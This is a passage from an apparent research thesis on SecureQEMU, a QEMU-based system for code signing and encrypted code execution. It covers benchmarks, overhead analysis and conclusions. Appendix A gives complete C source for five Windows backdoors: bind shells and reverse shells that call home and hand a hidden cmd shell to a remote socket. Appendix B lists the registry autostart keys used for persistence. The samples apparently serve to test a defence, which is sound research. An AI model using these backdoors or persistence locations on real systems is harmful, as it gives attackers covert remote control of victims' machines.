the basic block under translation) to the corresponding physical address. The Guest
OS’s physical addresses are converted to Host OS virtual addresses. SecureQEMU
uses the TLB to translate encrypted or signed code regions using pages within the
current shadow page table.
Prior to checking the translation cache, SecureQEMU determines whether the
instruction to be executed is encrypted or signed, by checking the CR3 TABLE and
shadow page tables for the presence of a page at the address of the currently executing
instruction (i.e., non-zero entries within each shadow page table entry). If the code is
encrypted and is not already in the translation cache, SecureQEMU modifies the TLB
such that the virtual address of the currently executing page and its adjacent page
map to the physical addresses of the shadow pages. After translation, and before the
translation block executes, the TLB is restored to map to the encrypted pages within
the Guest OS’s memory. Since the translation process is mutually exclusive to the
execution of each translation block, the Guest OS will never reference the modified
TLB.
3.3 Summary
This chapter explains the design and implementation of SecureQEMU and Se-
cureEncryptor. For more information, Appendix C contains the source code to Se-
cureEncryptor and Appendix E is a diff of QEMU V0.9.1 and SecureQEMU V0.9.4.
As with any software protection, it’s important to characterize how much overhead is
required. The following chapter benchmarks SecureQEMU.
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IV. SecureQEMU Benchmark
T
HIS chapter describes SecureQEMUs’ performance and overhead. Chapter
sections include performance metrics, hypothesis, integer performance, floating-
point performance, runtime performance, internal overhead, and overall performance.
The runtime performance section discusses the results of the integer and floating
point benchmarks. SecureQEMU internal overhead characterizes SecureQEMU with
respect to QEMU. The final section summarizes SecureQEMU’s overall performance.
4.1 Performance Metrics
A common performance metric determines the number of integer and floating-
point operations executed per second. Bytemarks’ BYTECPU is used to compute
the integer operations per second (IOPS) and floating-point operations per second
(FLOPS) in several test environments [14]. FLOPS measures the performance of a
“typical” scientific application while IOPS measures the performance of “ordinary”
(non-scientific) applications. SecureQEMU can protect both scientific and ordinary
applications, therefore, both IOPS and FLOPS are determined.
A native Host OS, QEMU, SecureQEMU with encryption only, SecureQEMU
with code signing only, and SecureQEMU with both encryption and code signing
are the test environments for BYTECPU. The native Host OS is a Linux 2.6.24-19
OS executing on an Intel(R) Pentium(R) 4 CPU at 2593.590 MHz with 1 GB RAM
and 512 KB cache. The QEMU and SecureQEMU environments execute within the
native Host OS with 512MB RAM each. QEMU and SecureQEMU both emulate the
same WindowsXP SP3 OS image. Figure 4.1 shows the relationship between the test
environments. The dashed lines in Figure 4.1 indicate the four emulated environments
execute at separate times.
4.2 Benchmark Hypothesis
It is expected that native execution performance and QEMU (as well as Se-
cureQEMU) will be significantly different, while the difference between QEMU and
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Figure 4.1: Benchmark Environments
SecureQEMU is minimal. This hypothesis is based on several factors. First, KQEMU
(QEMU and SecureQEMU’s kernel-mode accelerator) is disabled. KQEMU speeds
up x86 emulation by running user-mode Guest OS instructions directly on the Host
OS’s CPU. Unfortunately, all encrypted and signed Guest OS instructions (by design)
are translated before execution on the Host CPU. Executing Guest OS instructions
directly (even user-mode instructions) compromises the integrity of SecureQEMU’s
protection mechanisms. Second, the translation of a Guest OS instruction may result
in several hundred translated Host OS instructions. Therefore, a significant number
of Host OS instructions execute to emulate a single Guest OS instruction. Finally,
the modifications made to QEMU’s algorithms to implement the encrypted execution
and code signing is O(n)1 during process initialization and O(1) during basic block
translation.
4.3 Integer Performance
Bytemark’s BYTECPU combines several tests to determine the number of IOPS
and FLOPS within a 95% confidence interval. BYTECPU’s tests include a numeric
sort routine, a string sort routine, a bitfield routine, an emulated floating-point rou-
tine, a fourier coefficients routine, an assignment algorithim, a huffman compression
1N is the number of pages encrypted and signed.
59
routine, an IDEA encryption routine, a neural network routine and an LU decom-
position routine. BYTEmark reports both a raw score (iterations per second) and
an index score for each test, as well as an overall integer and floating-point index
score [14]. The index scores are the raw scores of the system under test divided by
the raw score obtained on a baseline machine. The baseline machine is a DELL 90
MHz Pentium XPS/90 with 16 MB of RAM and 256K of external processor cache.
Only overall indexed scores are reported.
Table 4.1: Bytemark’s BYTECPU Integer Indexes
Native QEMU SecureQEMU Encrypted SecureQEMU Signed Encrypted and Signed
49.197 2.539 2.512 2.564 2.564
49.469 2.532 2.559 2.568 2.518
49.609 2.525 2.536 2.560 2.540
48.849 2.539 2.570 2.569 2.565
49.669 2.557 2.567 2.569 2.558
49.192 2.533 2.566 2.568 2.560
49.322 2.547 2.573 2.565 2.577
49.450 2.549 2.551 2.559 2.579
49.497 2.556 2.518 2.567 2.569
49.493 2.553 2.526 2.568 2.513
49.416 2.552 2.501 2.565 2.566
49.320 2.549 2.511 2.560 2.572
49.458 2.557 2.526 2.569 2.553
49.476 2.553 2.562 2.569 2.557
49.381 2.543 2.579 2.565 2.553
49.673 2.555 2.567 2.564 2.568
49.423 2.555 2.515 2.559 2.534
49.589 2.550 2.563 2.564 2.546
49.497 2.551 2.567 2.560 2.547
49.531 2.533 2.579 2.569 2.559
Within each benchmark environment, BYTECPU is executed twenty times.
Table 4.1 contains the overall integer indexes computed within each environment.
The column mean values are 49.429, 2.543, 2.534, 2.565, and 2.555. Scatterplots
of each environment’s overall integer indexes are shown in Figure 4.2. The native
environment average IOPS performed better than QEMU by a factor of 19.43, better
than SecureQEMU Encrypted by a factor of 19.50, better than SecureQEMU Signed
by a factor of 19.27, and better than SecureQEMU Encrypted and Signed by a factor
of 19.34. That is, both QEMU and SecureQEMU execute IOPS at approximately 5%
native speed.
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Figure 4.2: Scatterplot of Integer Indexes
Figure 4.3 shows the boxplots of QEMU and SecureQEMU environment IOPS.
SecureQEMU Signed appears to perform better than QEMU. One-way analysis of
variance (ANOVA) (p-value=0.002) indicates there is a statistically significant differ-
ence between QEMU and SecureQEMU Signed. However, they differ only by a factor
of 1.0085 with SecureQEMU having the better performance.
This slight increase in performance is a result of the TLB cache poisoning used
during translation. If the currently executing page is encrypted or signed, the TLB
is poisoned with the physical address of the decrypted or HMAC verified page. This
prevents TLB lookups from missing which results in a slight performace increase.
Section 4.6 discusses this difference further and the user impact of SecureQEMU.
Variability between QEMU and SecureQEMU is a result of using the OpenSSL
module on the host OS. Since decryption and signing occurs in the host OS, Secure-
QEMU’s translation process may be preempted by the host OS at a higher frequency
than without the OpenSSL module.
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Figure 4.3: Boxplot of Integer Indexes
4.4 Floating-point Performance
Table 4.2 shows the results of the twenty trials of the FLOPs benchmark. Again,
there is an obvious difference between native execution and the emulated environ-
ments. The mean values are 34.154, 1.516, 1.518, 1.544, and 1.542. The native
environment FLOPS perfomed better than QEMU by a factor of 22.53, better than
SecureQEMU Encrypted by a factor of 22.50, better than SecureQEMU Signed by
a factor of 22.12, and better than SecureQEMU Encrypted and Signed by a factor
of 22.15. Both QEMU and SecureQEMU execute FLOPS at approximately 4.5% of
native speed.
Similar to the IOPS, there is a large difference between native FLOPS and
emulated environments. More interesting, however, is the overhead of SecureQEMU
with respect to the modifications made to QEMU. Figures 4.4 and 4.5 show the
scatterplot and boxplot of the FLOPS indexes. The boxplots indicate a noticeable
difference between QEMU and SecureQEMU when code signing is enabled. A one-
way ANOVA (p-value=0.0001) confirms a statistical difference between QEMU and
SecureQEMU with code signing enabled. This difference is a factor of 1.018 and is
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Table 4.2: Bytemark’s BYTECPU Floating-point Indexes
Native QEMU SecureQEMU Encrypted SecureQEMU Signed Encrypted and Signed
34.224 1.51245 1.52449 1.54170 1.54315
34.190 1.50653 1.53291 1.54483 1.56990
34.108 1.51203 1.47616 1.54438 1.52106
34.003 1.53179 1.52622 1.54328 1.57682
34.064 1.52888 1.53074 1.53927 1.51990
34.225 1.51891 1.51843 1.54393 1.56308
34.179 1.52026 1.54016 1.54286 1.52002
34.224 1.50941 1.52101 1.54395 1.56604
34.204 1.49669 1.52835 1.54112 1.55780
34.269 1.48976 1.49395 1.54039 1.54764
34.149 1.50471 1.48147 1.53938 1.57289
34.033 1.51479 1.50355 1.54938 1.55427
34.250 1.52143 1.53060 1.54998 1.56145
34.216 1.53331 1.52954 1.54013 1.54850
34.012 1.52349 1.49870 1.54383 1.55649
34.246 1.53806 1.53183 1.54938 1.55204
34.197 1.51795 1.53156 1.54777 1.48690
34.141 1.54058 1.52784 1.54034 1.55392
34.085 1.52417 1.53134 1.54938 1.50220
34.061 1.51956 1.53568 1.54229 1.45924
again due to TLB cache poisoning during translation. Section 4.6 discusses how the
user is impacted by this change.
4.5 Runtime Performance of Compression Algorithm
To validate the results of the integer and floating-point benchmarking, an en-
crypted and signed implementation of the 7z compression algorithm is tested by de-
termining the compression time of a 10MB file within each environment. The elapsed
time the 7z process executed in user mode is computed using the Windows GetPro-
cessTime() API function. Table 4.3 shows the time in seconds to compress the 10MB
file within the seperate test environments.
The mean values in seconds are 1.350, 21.285, 21.404, 21.348 and 21.338 respec-
tively for each column in Table 4.3. The native environments average compression
time was better than QEMU by a factor of 15.77, better than SecureQEMU with
encryption by a factor of 15.85, better than SecureQEMU with signing by a factor
of 15.81, and better than SecureQEMU with encyrption and signing by a factor of
15.81.
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Figure 4.4: Scatterplot of Floating-point Indexes
Figure 4.5: Boxplot of Floating-point Indexes
64
Table 4.3: 7-Zip Compression Time(seconds) of 10MB File
Native QEMU SecureQEMU Encrypted SecureQEMU Signed Encrypted and Signed
1.328 21.187 21.265 20.847 21.278
1.406 21.218 21.265 21.188 21.488
1.328 21.453 21.780 21.221 21.380
1.328 21.234 21.125 21.348 21.531
1.390 21.109 21.484 21.743 21.384
1.328 21.312 21.578 21.493 21.403
1.375 21.253 21.515 21.482 21.298
1.390 21.530 20.890 21.373 21.110
1.328 21.390 21.484 21.574 21.349
1.328 21.280 21.310 21.324 21.442
1.343 21.234 21.780 21.122 21.540
1.375 21.620 21.859 21.146 21.347
1.328 21.453 21.156 21.125 21.346
1.281 21.328 21.171 21.243 21.034
1.406 21.109 21.343 21.361 21.156
1.328 21.375 21.328 21.432 21.203
1.359 21.156 21.234 21.334 21.599
1.343 21.150 21.168 21.574 21.445
1.343 21.187 21.734 21.730 21.135
1.359 21.125 21.609 21.293 21.295
Figures 4.6 and 4.7 show the scatterplot and boxplot of the compression times,
respectively. Visual inspection indicates no apparent difference between the compres-
sion times of the emulated environments. A one-way ANOVA test (p-value=0.322)
confirms there is no statistical difference between QEMU and SecureQEMU compres-
sion times.
4.6 SecureQEMU’s Internal Overhead
SecureQEMU implements its protection mechanisms by altering execution dur-
ing process initialization and basic block translation. During initialization, a process
may signal SecureQEMU to decrypt and verify HMACs for a specific set of code pages
which induces overhead. During translation, SecureQEMU may poison the TLB with
decrypted and signed code pages which also incurs overhead. Sections 4.6.1 and 4.6.2
below explain both schemes in detail.
4.6.1 Initialization Overhead. An exact initialization overhead for BYTECPU
was computed using the Host OS’s time stamp counter (TSC). Usually the TSC in-
crements with every processor clock cycle. Table 4.4 lists the overhead in clock cycles
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Figure 4.6: Scatterplot of 7-zip Compression of 10MB File
Figure 4.7: Boxplot of 7-zip Compression of 10MB File
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as a result of encrypting the code, signing the code, and both encrypting and signing
the code. The third column, being a separate test environment, is not the sum of
the first two columns. The mean values of Table 4.4 are 2.141 · 106, 1.355 · 108 and
1.411 · 108 respectively.
Table 4.4: SecureQEMU Initialization Overhead in Clock Cycles
Encrypted Signed Encrypted and Signed
2.107 · 106 1.317 · 108 1.436 · 108
2.073 · 106 1.358 · 108 1.454 · 108
2.068 · 106 1.353 · 108 1.373 · 108
2.121 · 106 1.310 · 108 1.548 · 108
2.181 · 106 1.365 · 108 1.450 · 108
2.175 · 106 1.364 · 108 1.388 · 108
2.149 · 106 1.382 · 108 1.432 · 108
2.211 · 106 1.347 · 108 1.374 · 108
2.129 · 106 1.348 · 108 1.385 · 108
2.165 · 106 1.343 · 108 1.370 · 108
2.094 · 106 1.343 · 108 1.400 · 108
2.194 · 106 1.385 · 108 1.377 · 108
2.117 · 106 1.369 · 108 1.374 · 108
2.106 · 106 1.355 · 108 1.408 · 108
2.070 · 106 1.324 · 108 1.376 · 108
2.239 · 106 1.353 · 108 1.373 · 108
2.094 · 106 1.375 · 108 1.445 · 108
2.195 · 106 1.350 · 108 1.520 · 108
2.091 · 106 1.387 · 108 1.366 · 108
2.243 · 106 1.360 · 108 1.362 · 108
Figure 4.8 is a scatterplot of BYTECPU’s initialization overhead in clock cycles.
Although there is a noticeable difference between encrypting the code and signing it,
both overheads are negligible from the user’s perspective. The speed of the CPU is
2593.590 MHz, therefore the overhead in seconds is 0.00083, 0.05 and 0.05 for the
columns in Table 4.4 respectively.
Response time is important to the user of a system. According to Nielsen [39],
0.1 seconds is the limit for a user to feel that a system is reacting instantaneously and
after 1.0 seconds a user’s flow of thought is interrupted, even though the user is aware
of the delay. Since, SecureQEMU’s overhead is less than one second, an encrypted or
signed application’s startup delay will likely be tolerable to a user.
4.6.2 Translation Overhead. Translation overhead is approximately 8500
clock cycles for both SecureQEMU’s encrypted code execution and code signing. This
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Figure 4.8: SecureQEMU Overhead on BYTECPU
overhead is incurred for every basic block which needs to be translated. The runtime
overhead per translation block is 3.27 usec. While 3.27 usec overhead seems negligible,
the total translation overhead is a function of how often encrypted or signed basic
blocks are translated. To reduce translation overhead, each translation block (even
encrypted and signed blocks) are cached, however, this cache is flushed whenever
the Guest OS TLB is flushed. Unfortunately, within a multi-threaded Guest OS
the TLB is flushed whenever a context switch occurs and the next thread needs to
execute within a different address space than the current address space. SecureQEMU
detects an address space change when CR3 is written. Within Windows XP, a context
switch may occur (along with an address space change) about every 60-90 milliseconds
depending on the clock interval, thread quantum size, and thread priority level.
Consider the BYTECPU program protected by SecureQEMU’s encrypted code
execution. During BYTECPU’s runtime, the total number of encrypted basic blocks
translated is 29,574 which results in a total overhead of 97 ms. In Section 4.5 it was
determined that BYTECPU with encryption executed for 21.285 seconds on average.
SecureQEMU spent approximately 97 ms checking if the basic block being translated
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was encrypted and poisoning the TLB if it was. This equates to approximately 0.46%
total translation overhead.
4.7 Performance Summary
SecureQEMU performs well with respect to QEMU but incurs significant over-
head compared to executing code on the native system. The increase in performance
SecureQEMU provides by implementing the encrypted code execution and code sign-
ing is 0.9% to 1.8%, while the overhead due to emulation varies from 1400% to 2100%.
Depending on the scenario, SecureQEMU’s protection benefits may outweigh its over-
head. Chapter V addresses how to improve the performance of SecureQEMU along
with how to deploy SecureQEMU within production environments.
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V. Conclusions
5.1 Research Accomplishments
This research defined software attacks from a technical perspective, designed an
original emulation-based protection solution to prevent these software attacks while
providing code-specific confidentiality, implemented the protection mechanisms (i.e.
SecureQEMU), and benchmarked the performance of SecureQEMU.
SecureQEMU’s emulation-based page granularity code signing successfully pro-
tects from many types of exploits, backdoors, and rootkits, by preventing most exploit
payloads from executing. All payloads from the Metasploit framework are protected,
however, specially crafted pure-chained return-into-code exploits can still execute.
Pure-chained return-into-code exploits consist entirely of existing signed-code and
detection will require other protections.1
Instead of focusing on defending against individual programming bugs, which
may or may not result in a vulnerability, page-granularity code signing focuses on iden-
tifying legitimate code and preventing all other code from executing. This whitelist
approach to software security helps protect against unreleased vulnerabilities (a.k.a.
0-days) which leverage a new class of software bugs to execute. This protection also
protects against DLL injection, code integration-based rootkits, patching rootkits,
and several types of backdoors which infect legitimate modules.
SecureQEMU’s emulation-based encrypted code execution protects from reverse
code engineering by keeping code encrypted during execution. Existing protections
merely make it more difficult to reverse engineer applications through anti-debugging,
anti-dissasembly, and obfuscation techniques. The novel emulation-based approach
not only protects from vulnerability discovery and code injection attacks, but also
keeps code-specific intellectual property secret through encryption and emulation-
based sandboxing. It may be possible to break out of SecureQEMU onto the host OS
using implementation errors. However, given a perfectly implemented emulator this
1Address space layout randomization protects from pure-chained return-into-code payloads.
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protection’s strength is proportional to the strength of the encryption algorithm used
(e.g., AES).
5.2 Future Research
There are many other protection mechanisms which can be moved out-of-band
of an untrusted system using emulation. Besides code signing and encrypted code
execution, malware signature detection could be implemented in emulation. Any
malicious code would be unable to attack the mechanisms scanning to detect it unless
that malicious code could break out of the emulated environment. McAfee and other
anti-virus companies are already beginning to implement malware detection using
VMware’s VMsafe. Although VMware uses virtualization (different from emulation),
sandboxing attackers remains.
Future implementations of SecureQEMU will support DoD Common Access
Cards (CAC) . The CAC is a central component of the DoD public key infrastructure
and provides mechanisms for encryption and signing using a private key which can be
used to sign and decrypt code within SecureQEMU. Applications may be encrypted
and signed for specific users limiting the need to restrict access to a system. Even
if an attacker accessed the system, the application would remain protected without
access to a legitimate users private key stored on his or her CAC.
SecureQEMU software-based emulation separates a system into trusted and un-
strusted execution environments. A hardware-based emulation implementation would
improve SecureQEMU’s performance. While current hardware processors include sup-
port for virtualization, emulation is still implemented in software.
5.3 Building Secure Systems
This research supports Matt Bishop’s security policy definitions [6]. Bishop
considers a computer system to be a finite-state automaton where a security policy
is a statement that partitions the states of a system into a set of authorized (secure)
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states and a set of unauthorized (nonsecure) states. Bishop defines a secure system
as a system that starts in an authorized state and cannot enter into an unauthorized
state.
This is the fundamental problem with respect to today’s computing platforms.
General purpose operating systems, such as Windows, Linux, Mach, and BSD, were
designed to execute arbitrary code. If a system can execute arbitrary code, that sytem
can enter into an arbitrary state which may not be secure. As a result, a system which
executes arbitrary code, cannot be proven to be secure. Thus, general purpose systems
should not be used in systems critical to national security.
We need to design systems which do one thing, do that one thing well, and
nothing more. If we design a system which accepts finite input and doesn’t execute
arbitrary code, then we can test the system given every possible input. If we can
show that the starting state of the system is secure, and given every possible input a
system never enters a nonsecure state, then we know that entire system is secure.
This research’s page-granularity code signing takes a general purpose system
and attempts to make it secure by only executing signed (authorized) code. This
prevents the thread executing within a process (protected with SecureQEMU) from
executing arbitrary code, but we also need to restrict the set of input the system
accepts to be able to prove the entire system is secure. Future research should be
conducted to design systems which satisfy both security policy requirements.
The U.S. Air Force and DoD need sofware systems proven to be secure. Our ad-
diction to attempting to secure general purpose operating systems has to be replaced
by systems designed to satisfy Bishop’s security policy definitions from the ground
up. After building these secure systems we will be properly equiped to protect the
U.S. critical infrastructure and other national security affairs.
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Appendix A. Backdoor Source Code
A.1 Listen TCP Backdoor
Listing A.1:
1
/∗ l i s t e n \ t cp . cpp wr i t t en by William Kimball 2 . 26 . 2008
Error handl ing omitted f o r c l a r i t y
Compiled with Borland C++ Compiler
bcc32 . exe −tW −l x ws2\ 32 . l i b l i s t e n \ t cp \ exe . cpp ∗/
6
#include <winsock2 . h>
#define PORT 8888 /∗ Port the backdoor l i s t e n s on ∗/
11 int WINAPI WinMain(HINSTANCE hInst , HINSTANCE hInstPrev ,
LPSTR lpCmdLine , int nShowCmd) {
WSADATA wsadata ;
WSAStartup (MAKEWORD(2 ,2 ) , &wsadata ) ;
16
SOCKET sockL i s t en = WSASocket (AF INET , SOCK STREAM, IPPROTO TCP, 0 , 0 , 0) ;
SOCKADDR IN bindAddr ;
bindAddr . s i n f am i l y = AF INET ;
21 bindAddr . s in addr . s addr = htonl (INADDR ANY) ;
bindAddr . s i n po r t = htons (PORT) ;
bind ( sockListen , (SOCKADDR∗)&bindAddr , s izeof (SOCKADDR) ) ;
26 l i s t e n ( sockListen , SOMAXCONN) ;
PROCESS INFORMATION pi ;
STARTUPINFO s i ;
memset(&pi , 0 , s izeof (PROCESS INFORMATION) ) ;
31 memset(&s i , 0 , s izeof (STARTUPINFO) ) ;
s i . cb = s izeof (STARTUPINFO) ;
s i . dwFlags = STARTF USESTDHANDLES|STARTFUSESHOWWINDOW;
s i .wShowWindow = SW HIDE;
36 while (1 ) { /∗ Execute f o r e v e r ∗/
SOCKET sockAccept = accept ( sockListen , NULL, NULL) ;
s i . hStdInput = (HANDLE) sockAccept ;
41 s i . hStdOutput = (HANDLE) sockAccept ;
s i . hStdError = (HANDLE) sockAccept ;
CreateProcess (0 , " cmd " , 0 , 0 , true , 0 , 0 , 0 , &s i , &pi ) ;
46 c l o s e s o c k e t ( sockAccept ) ;
}
return 0 ;
}
A.2 Listen UDP Backdoor
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Listing A.2:
/∗ l i s t e n \ udp . cpp wr i t t en by William Kimball 2 . 26 . 2008
Error handl ing omitted f o r c l a r i t y
4 Compiled with Borland C++ Compiler
bcc32 . exe −tW −l x ws2\ 32 . l i b l i s t e n \ udp\ exe . cpp ∗/
#include <winsock2 . h>
#include <i o . h>
9 #include < f c n t l . h>
#include <s t d i o . h>
#define PORT 8888 /∗ Port the backdoor l i s t e n s on ∗/
#define BUFFSIZE 30000 /∗ Output bu f f e r s i z e ∗/
14
int WINAPI WinMain(HINSTANCE hInst , HINSTANCE hInstPrev ,
LPSTR lpCmdLine , int nShowCmd) {
WSADATA wsadata ;
WSAStartup (MAKEWORD(2 ,2 ) , &wsadata ) ;
19
SOCKET sockL i s t en = WSASocket (AF INET , SOCK DGRAM, IPPROTO UDP, 0 , 0 , 0) ;
SOCKADDR IN bindAddr ;
bindAddr . s i n f am i l y = AF INET ;
24 bindAddr . s in addr . s addr = htonl (INADDR ANY) ;
bindAddr . s i n po r t = htons (PORT) ;
bind ( sockListen , (SOCKADDR∗)&bindAddr , s izeof (SOCKADDR) ) ;
29 SOCKADDR IN senderAddr ;
int senderAddrLen = s izeof (SOCKADDR) ;
DWORD dwBytesRead = 0 ;
char szCommand [ 8 192 ] = " cmd / c " , s zBu f f e r [BUFFSIZE ] = " " ;
HANDLE hReadPipe , hWritePipe ;
34
SECURITY ATTRIBUTES sa ;
sa . nLength = s izeof (SECURITY ATTRIBUTES) ;
sa . l pS e cu r i t yDe s c r i p t o r = NULL;
sa . bInher i tHandle = true ;
39
PROCESS INFORMATION pi ;
STARTUPINFO s i ;
memset(&pi , 0 , s izeof (PROCESS INFORMATION) ) ;
memset(&s i , 0 , s izeof (STARTUPINFO) ) ;
44 s i . cb = s izeof (STARTUPINFO) ;
s i . dwFlags = STARTF USESTDHANDLES|STARTFUSESHOWWINDOW;
s i .wShowWindow = SW HIDE;
while (1 ) { /∗ execute f o r e v e r ∗/
49
i f ( ( dwBytesRead = recvfrom ( sockListen , szCommand+7, 8191−7 , 0 ,
(SOCKADDR∗)&senderAddr , &senderAddrLen ) ) > 0) {
while (szCommand [ dwBytesRead−1+7] == ’ \ r ’ | |
54 szCommand [ dwBytesRead−1+7] == ’ \ n ’ )
dwBytesRead−−;
szCommand [ dwBytesRead+7] = ’ \0 ’ ;
59 CreatePipe(&hReadPipe , &hWritePipe , &sa , 0) ; /∗ Execute the s h e l l ∗/
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s i . hStdOutput = hWritePipe ; /∗ only f o r the durat ion ∗/
s i . hStdError = hWritePipe ; /∗ o f the command ∗/
CreateProcess (0 , szCommand , 0 , 0 , true , 0 , 0 , 0 , &s i , &pi ) ;
CloseHandle ( hWritePipe ) ;
64
while ( ReadFile ( hReadPipe , szBuf f e r , BUFFSIZE, &dwBytesRead , 0) &&
dwBytesRead > 0) {
sendto ( sockListen , szBuf f e r , dwBytesRead , 0 ,
(SOCKADDR∗)&senderAddr , s izeof (SOCKADDR) ) ;
69 }
CloseHandle ( hReadPipe ) ;
}
}
74
return 0 ;
}
A.3 Callhome Multiple Backdoor
Listing A.3:
/∗ cal lhome . cpp wr i t t en by William Kimball 2 . 26 . 2008
3 Error handl ing omitted f o r c l a r i t y
Compiled with Borland C++ Compiler
bcc32 . exe −tW −l x ws2\ 32 . l i b cal lhome\ exe . cpp ∗/
#include <winsock2 . h>
8
#define PORT 8888 /∗ Port to connect back to ∗/
#define HOST " 1 2 7 . 1 . 1 . 1 " /∗ Hostname to connect back to ∗/
#define CALLRATE 5000 /∗ Rate ( in m i l l i s e c ond s ) to c a l l home ∗/
13 int WINAPI WinMain(HINSTANCE hInst , HINSTANCE hInstPrev ,
LPSTR lpCmdLine , int nShowCmd) {
WSADATA wsadata ;
WSAStartup (MAKEWORD(2 ,2 ) , &wsadata ) ;
18
SOCKADDR IN sockAddr ;
sockAddr . s i n f am i l y = AF INET ;
sockAddr . s i n po r t = htons (PORT) ;
23 struct hostent ∗host ;
i f ( ( host = gethostbyname (HOST) ) == NULL)
ex i t (−1) ;
sockAddr . s in addr . s addr = ∗( u long ∗) host−>h a dd r l i s t [ 0 ] ;
28 PROCESS INFORMATION pi ;
STARTUPINFO s i ;
memset(&pi , 0 , s izeof (PROCESS INFORMATION) ) ;
memset(&s i , 0 , s izeof (STARTUPINFO) ) ;
s i . cb = s izeof (STARTUPINFO) ;
33 s i . dwFlags = STARTF USESTDHANDLES|STARTFUSESHOWWINDOW;
s i .wShowWindow = SW HIDE;
while (1 ) { /∗ Execute f o r e v e r ∗/
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38 SOCKET sock = WSASocket (AF INET , SOCK STREAM, IPPROTO TCP, 0 , 0 , 0) ;
i f ( connect ( sock , (SOCKADDR∗)&sockAddr , s izeof (SOCKADDR) ) == 0) {
s i . hStdInput = (HANDLE) sock ;
43 s i . hStdOutput = (HANDLE) sock ;
s i . hStdError = (HANDLE) sock ;
CreateProcess (0 , " cmd " , 0 , 0 , true ,
0 , 0 , 0 , &s i , &pi ) ;
48
}
c l o s e s o c k e t ( sock ) ;
53 Sleep (CALLRATE) ;
}
return 0 ;
}
A.4 Callhome Once Backdoor
Listing A.4:
2 /∗ c a l l o n c e . cpp wr i t t en by William Kimball 2 . 26 . 2008
Error handl ing omitted f o r c l a r i t y
Compiled with Borland C++ Compiler
bcc32 . exe −tW −l x ws2\ 32 . l i b c a l l o n c e \ exe . cpp ∗/
7 #include <winsock2 . h>
#define PORT 8888
#define HOST " 1 2 7 . 1 . 1 . 1 "
12 int WINAPI WinMain(HINSTANCE hInst , HINSTANCE hInstPrev ,
LPSTR lpCmdLine , int nShowCmd) {
WSADATA wsadata ;
WSAStartup (MAKEWORD(2 ,2 ) , &wsadata ) ;
17
SOCKADDR IN sockAddr ;
sockAddr . s i n f am i l y = AF INET ;
sockAddr . s i n po r t = htons (PORT) ;
22 struct hostent ∗host ;
i f ( ( host = gethostbyname (HOST) ) == NULL)
ex i t (−1) ;
sockAddr . s in addr . s addr = ∗( u long ∗) host−>h a dd r l i s t [ 0 ] ;
27 PROCESS INFORMATION pi ;
STARTUPINFO s i ;
memset(&pi , 0 , s izeof (PROCESS INFORMATION) ) ;
memset(&s i , 0 , s izeof (STARTUPINFO) ) ;
s i . cb = s izeof (STARTUPINFO) ;
32 s i . dwFlags = STARTF USESTDHANDLES|STARTFUSESHOWWINDOW;
s i .wShowWindow = SW HIDE;
76
SOCKET sock = WSASocket (AF INET , SOCK STREAM, IPPROTO TCP, 0 , 0 , 0) ;
37 i f ( connect ( sock , (SOCKADDR∗)&sockAddr , s izeof (SOCKADDR) ) == 0) {
s i . hStdInput = (HANDLE) sock ;
s i . hStdOutput = (HANDLE) sock ;
s i . hStdError = (HANDLE) sock ;
42
CreateProcess (0 , " cmd " , 0 , 0 , true ,
0 , 0 , 0 , &s i , &pi ) ;
}
47
c l o s e s o c k e t ( sock ) ;
return 0 ;
}
‘
A.5 Callhome Library Backdoor
Listing A.5:
/∗ cal lhome\ d l l . cpp wr i t t en by William Kimball 2 . 26 . 2008
3 Error handl ing omitted f o r c l a r i t y
Compiled with Borland C++ Compiler
bcc32 . exe −tW −l x ws2\ 32 . l i b cal lhome\ d l l . cpp ∗/
#include <winsock2 . h>
8
#define PORT 8888 /∗ Port to connect back to ∗/
#define HOST " 1 2 7 . 1 . 1 . 1 " /∗ Hostname to connect back to ∗/
#define CALLRATE 5000 /∗ Rate ( in m i l l i s e c ond s ) to c a l l home ∗/
13 BOOL DllMain (HINSTANCE hInstance , ULONG ulReason , LPVOID pvReserved ) {
switch ( ulReason ) {
case DLL PROCESS ATTACH:
18
WSADATA wsadata ;
WSAStartup(MAKEWORD(2 ,2 ) , &wsadata ) ;
SOCKADDR IN sockAddr ;
23 sockAddr . s i n f am i l y = AF INET ;
sockAddr . s i n p o r t = htons (PORT) ;
struct hostent ∗host ;
i f ( ( host = gethostbyname (HOST) ) == NULL)
28 e x i t (−1) ;
sockAddr . s in addr . s addr = ∗( u long ∗) host−>h a dd r l i s t [ 0 ] ;
PROCESS INFORMATION pi ;
STARTUPINFO s i ;
33 memset(&pi , 0 , s izeof (PROCESS INFORMATION) ) ;
memset(&s i , 0 , s izeof (STARTUPINFO) ) ;
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s i . cb = s izeof (STARTUPINFO) ;
s i . dwFlags = STARTF USESTDHANDLES|STARTFUSESHOWWINDOW;
s i .wShowWindow = SW HIDE;
38
while (1 ) { /∗ Execute f o r e v e r ∗/
SOCKET sock = WSASocket (AF INET , SOCK STREAM, IPPROTO TCP, 0 , 0 , 0) ;
43 i f ( connect ( sock , (SOCKADDR∗)&sockAddr , s izeof (SOCKADDR) ) == 0) {
s i . hStdInput = (HANDLE) sock ;
s i . hStdOutput = (HANDLE) sock ;
s i . hStdError = (HANDLE) sock ;
48
CreateProcess (0 , " cmd " , 0 , 0 , true , 0 , 0 , 0 , &s i , &pi ) ;
}
53 c l o s e s o c k e t ( sock ) ;
S leep (CALLRATE) ;
}
}
58
return TRUE;
}
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Appendix B. Windows Automatic Startup Locations
B.1 Automatic Startup Registry Keys
1. HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
2. HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
3. HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
4. HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\RunServices
5. HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
6. HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
7. HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
8. HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Run
9. HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
10. HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
11. HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
12. HKEY LOCAL MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
13. HKEY CURRENT USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load
